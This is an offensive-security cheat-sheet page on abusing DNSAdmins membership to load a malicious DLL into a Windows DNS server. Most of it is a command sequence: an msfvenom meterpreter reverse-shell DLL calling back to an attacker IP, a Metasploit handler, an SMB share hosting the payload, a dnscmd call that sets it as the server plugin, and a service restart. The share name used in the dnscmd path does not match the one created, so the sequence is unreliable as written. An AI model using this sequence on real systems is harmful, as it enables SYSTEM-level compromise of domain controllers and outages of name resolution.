RTFM_ security field notes

DNSAdmins

Load an arbitrary DLL as a DNS server plugin through dnscmd and execute it with SYSTEM rights.

Concept

DNS server administration rights may permit configuring a server-level plugin DLL. Loading it depends on the DNS service version, configuration, file access and a service restart. When the service runs as SYSTEM on a DC, the impact can extend to the domain.

Exploitation

First check that the user is a member of the DNSAdmins group. This can be done in several ways:

# Ask for the groups of the current account
whoami /groups
# Ask for the members of the DnsAdmins group
Get-ADGroupMember -Identity "DnsAdmins"

Group membership is a lead, not proof: confirm effective configuration and service-control rights separately. The legacy example below changes DNS service configuration and restarts it, potentially interrupting name resolution.

Legacy DLL and service-restart sequence
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker IP> -f dll -o /tmp/payload.dll
msfconsole

Inside the Metasploit console:

> use multi/handler
> set LHOST 0.0.0.0
> run -j

Once generated, the DLL has to be transferred to the target machine. The transfer can be done through an SMB server:

smbserver.py -smb2support EXPLOIT /tmp

The DLL can then be loaded on the DNS server:

dnscmd.exe <victim hostname> /config /serverlevelplugindll \\<attacker IP>\EXP\payload.dll

If everything went well, restarting the DNS server gives the reverse shell:

sc.exe stop dns
sc.exe start dns

Resources

Provenance and confidence
Version
2
Sources reviewed
2026-11-23
Confidence
medium — Legacy RTFM; v2 editorial review on 2026-11-23 clarifies effective rights, service restart and operational impact. Legacy exploitation sequence remains untested.

Also searched as: dnsadmins, dnsadmin, dnscmd, serverlevelplugindll, élévation de privilèges ad